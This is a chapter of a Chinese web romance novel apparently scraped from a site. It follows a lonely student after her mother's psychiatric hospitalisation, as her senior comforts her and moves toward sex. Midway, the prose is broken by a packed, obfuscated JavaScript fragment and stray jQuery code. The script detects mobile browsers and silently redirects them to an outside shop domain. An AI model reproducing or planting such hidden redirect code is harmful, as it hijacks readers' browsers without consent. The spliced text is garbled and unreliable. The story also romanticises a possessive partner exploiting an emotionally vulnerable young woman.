文趣网 > 都市小说 > 温柔学长竟是阴湿病娇 > 14. 缸中的第十四天
    温煦用力握着卧室门把手,门锁将将扣住,“咔哒”一声响。

    什么也没惊动。

    温成华还是没回来。

    在看到录取界面上的津北大学后,徐慧勤的尖叫混着哭声,像海浪一样涌过来,将温煦淹没。

    还是那些话,温煦早听过一千遍一万遍。

    ——他不听话,你也不听话!

    ——我在遂江,过不下去了,我要辞职……

    她死死攥着温煦的胳膊,指甲几乎掐进肉里,温煦皱眉眯眼,将痛呼咽进肚子。

    “走!和我去教育局,我要去把你的志愿改回来……”

    温煦脸上漾出个僵硬而诡异的笑,带着对长辈的尊敬,轻声说:“妈妈……改不了了……”

    徐慧勤僵住了。

    改不了了。填过的志愿,选择的道路,对她来说,世事大多相似。

    她瞥见客厅隔断上摆着的全家福。那是她主动掏钱,在温煦小学的时候,带着一家人去拍的。她上一次如此郑重地拍照,还是和温成华结婚的时候。

    她努力想把这个一开始就摔碎一地的“家”,一块块拼起来。

    如此十八年,自取其辱。

    徐慧勤放开温煦的手臂,捂着脸哭起来。

    不知何时,隔壁卧室的哭声已消失了。温煦坐在书桌前发呆,看着卧室窗外。

    带着暑气的大晴天。

    遂江很少有这样蔚蓝的天,白云成团成絮,阳光所照尽是白金灿烂的一片。楼下一个老人逗弄着小孩,另一个懒洋洋地晒太阳。

    屋子里晒不着。

    温煦坐了会,才想起来她确实被津北大学录取了,专业也没有被调剂。

    该高兴。

    她用老人机给钟意报了喜,又把俞行送她的手机从床垫中摸出来,点开通讯录。

    依然只有俞行一个联系人。

    简单地编辑消息发送过去,温煦又打开俞行之前分享给她的歌单,戴上耳机,一首一首地慢慢听过去。

    *****

    那个歌单,温煦翻来覆去地听了19遍。

    今天是通知录取结果后的第四天。

    徐慧勤从那天就关上她的卧室门,再也没有打开过。温煦敲过门,试图送过饭,全都石沉大海,无人回答。

    温煦也认真和温成华说了。温成华一开始还关心几句,后来没有回应,也不再管。

    “四十老几的人了,非要这样,我有什么办法。”

    “实在不行就送精神病院去。反正她的工资够住院。”

    温煦从前陪徐慧勤去医院开过药。

    那里封闭式的病房,把小温煦吓了一跳。坚固的铁栅栏后,病人或喃喃自语,或狂躁尖叫。她当时还不能理解精神疾病,只本能地觉得害怕。

    她并不想徐慧勤住院,尤其是住那种封闭式的医院。但她不是心理医生,和徐慧勤也沟通不上。

    于是她把这种焦虑讲给俞行听,当然,并没有提及徐慧勤的病情加重,只说“家里吵架”、“状态不好”。

    俞行没有追问,只是约她去晨跑,和她讨论那份歌单。

    “这首歌叫《QueSeraSera》,意思是顺其自然。”

    清晨,厚重灰白的云层预示着今日又是一个阴天。热气将空气都挤满,闷得人额头发黏。

    公园的红色跑道尽头,是那台高大的饮料售卖机。

    歌是轻盈的三拍子舞曲,醇厚温柔的女声环绕在耳边。

    俞行给温煦递了瓶矿泉水:“1956年电影《擒凶记》中,麦昆夫人把这首歌作为暗号,引导她被绑架的儿子获救。”

    温煦拧开瓶盖,冰凉的水从食道顺着落进胃里。

    “WhenIwasjustalittlegirl……”

    “IaskedmymotherwhatwillIbe……”

    前奏的钢琴声让温煦想起徐慧勤。在她五六岁时,徐慧勤坚持要教她弹钢琴。昏黄的卧室中,断断续续的琴声粒粒分明地蹦出来。

    她在弹琴上确实没什么天赋,徐慧勤就一遍一遍地教。她会告诉温煦:“把这首曲子练会,不然别下楼去玩。”

    后来温煦不再弹琴,徐慧勤依然安排着她。

    吃什么,穿什么,什么时候出门,什么时候回来……

    但最近徐慧勤又生病了。

    母亲握紧的手渐渐从温煦的生活中离开,温煦一边喘气,一边因新鲜的空气争先恐后涌入肺里而窒息。

    “WillIbepretty……”

    “willIberich……”

    她现在的生活里充满了“不确定”。

    她需要一个人一直看着她,告诉她“确定”。

    “要再跑一圈吗?”俞行抬起手臂看表,“现在是六点半。”

    ……哈。

    温煦在心里哂笑。

    “学长,我不太懂……”

    “你决定吧。”

    *****

    徐慧勤的病情并没有好转,反而更严重了。她许久未踏出卧室门,幻觉愈发强烈,温煦总是能在门外听见她在骂人。

    那个温煦逃避的住院结果,已大喇喇地竖在她面前了。

    三天后的夜里,温成华终于拨打了精神病院的电话。温煦躲在卧室里,听见门打开的声音、医生的评估和徐慧勤疯狂的咒骂。

    等一切又安静下来,她才打开门出去。

    已经没有人了。

    温成华一早就要去外省暑假培训,再没有力气关照家里——虽然他平时和不在没什么两样。

    把徐慧勤交给医生,至少不会叫别人瞧笑话。

    他拍拍温煦的肩:“爸爸这就走了,生活费都给你了,你在家里好好的。”

    温煦没有能力留下任何人,她一个人买菜,一个人做饭。徐慧勤走了,家里的监控就再没有人看,她干脆把电拔掉了。

    温煦在手机上找了做菜的教程,严格谨慎、颇具工匠精神地做了三道菜,煮了饭。

    吃不完。

    她嚼着嚼着,眼泪突然就滚进米饭里。

    应该只是有些孤单。温煦冒出去找俞行的念头,又打消了。她怕三番五次和他倒苦水,会被觉得是麻烦和累赘。

    毕竟连一开始——都是他先敲的门,然后和她说:好久不见。

    门忽然被敲响了。

    温煦愣了一下,放下筷子去开门。

    俞行站在门外,手里拎着一袋子芭乐。

    “吃午饭了吗?”

    俞行进了家里,温煦给他添了饭。原先那碗米饭看不出来掉了眼泪,温煦只偶尔尝到一丝咸苦的味道。

    “很好吃。”俞行又夹了一筷子的菜,“下午,想去我家看电影吗?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586158|205273||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“或者,咱们出去散散步……”

    温煦疲惫,自然选了看电影。

    窗外雨声渐大,不一会已暴雨如注。

    爬山虎被浇得青绿,俞行将放映机调好,顺手把窗户也关严实了。

    雨闷得天色黑沉,倒不用拉窗帘了。

    俞行坐回黑色皮质沙发,拿着遥控器,侧脸看她:“《天使爱美丽》,看过吗?”

    温煦摇头。

    “很治愈。”他按下播放键,“累了就靠着我。”

    电影画面是暖黄色的。巴黎的咖啡馆、卖烟的掌柜、收集照片的男孩……

    不知什么时候,温煦慢慢歪向一边。

    俞行的肩膀就在那里。

    她犹豫了一下,靠了上去。

    俞行也没低头,但他的手找到她的手,指节从她手背抚过,慢慢挤进她的指缝,十指相扣。

    影片结尾,爱美丽与尼诺骑在索莱克斯摩托车上,穿梭在巴黎蒙马特的街头。

    手风琴音色温暖复古,旋律轻快温柔。

    是好结局。

    温煦看着暖黄的片子,那股欢快与幸福填满胸膛,变成眼泪模糊了视线。

    为什么会哭?温煦有些惊慌失措,试图用手背抹去泪水,但还是浸湿了俞行的肩头。

    他转向她,自然地将她搂进怀里,又递过来几张纸巾:“别憋着,想哭就哭。”

    温煦心里那根弦,“啪”地崩断了。

    她很伤心。从有录取结果那天开始,或者从出生那天开始。

    “俞行……我会不会,一直都……是一个错误?”

    温煦哭得上气不接下气:“如果没有我……”

    如果没有她,徐慧勤和温成华就不会结婚,徐慧勤或许就不会生病。

    “我需要你。”

    俞行早已摘了眼镜,把温煦的脑袋从自己胸口捞起来,双手捧着她的脸颊。

    “就算别人不要你,我也会一直喜欢你,需要你。”

    温煦的哭声小了,但还是噎得一下一下抽动。

    俞行的额头轻轻抵着她的额头,有些凉。

    “现在,放空脑袋,把所有的事情都像放气球一样地,让它们飞走……”

    温煦只剩下小小的鼻音,带着胸腔规律地微颤。

    俞行垂着眼看她:“好孩子。张嘴……”

    温煦听话地张嘴。他的唇温柔地印了上来,待她适应了,才稍稍加深,舌尖描摹着她的唇。

    描完后,才试探性地,碰了碰她的舌尖。

    暴雨声渐远了,唇舌间极小的水声更加清晰。

    动作很轻,却带着电流一样的麻意。他们呼吸缠在一起,暖湿的气息裹着刚才芭乐的清甜。

    温煦一直憋着气,腰也软下去,俞行借势将她轻轻放到在沙发上:“换气……”

    电影的片尾曲放完了,还有舒缓的纯音乐。现在是滚动的演职员表?还是已经彻底结束了?

    温煦并不知道。

    等到暴雨声又变成主角的时候,俞行微微抬起上身。

    两人还在轻轻喘息。

    黏腻的氛围并未被雨水冲走,反而让人觉得——雨声太大了。在这样倾盆的暴雨中,或许做点什么坏事,也不会被人发现。

    温煦今天穿的是到膝上一小截的短裤,俞行的手顺着她曲起的膝盖,慢慢往上——

    “……可以吗?”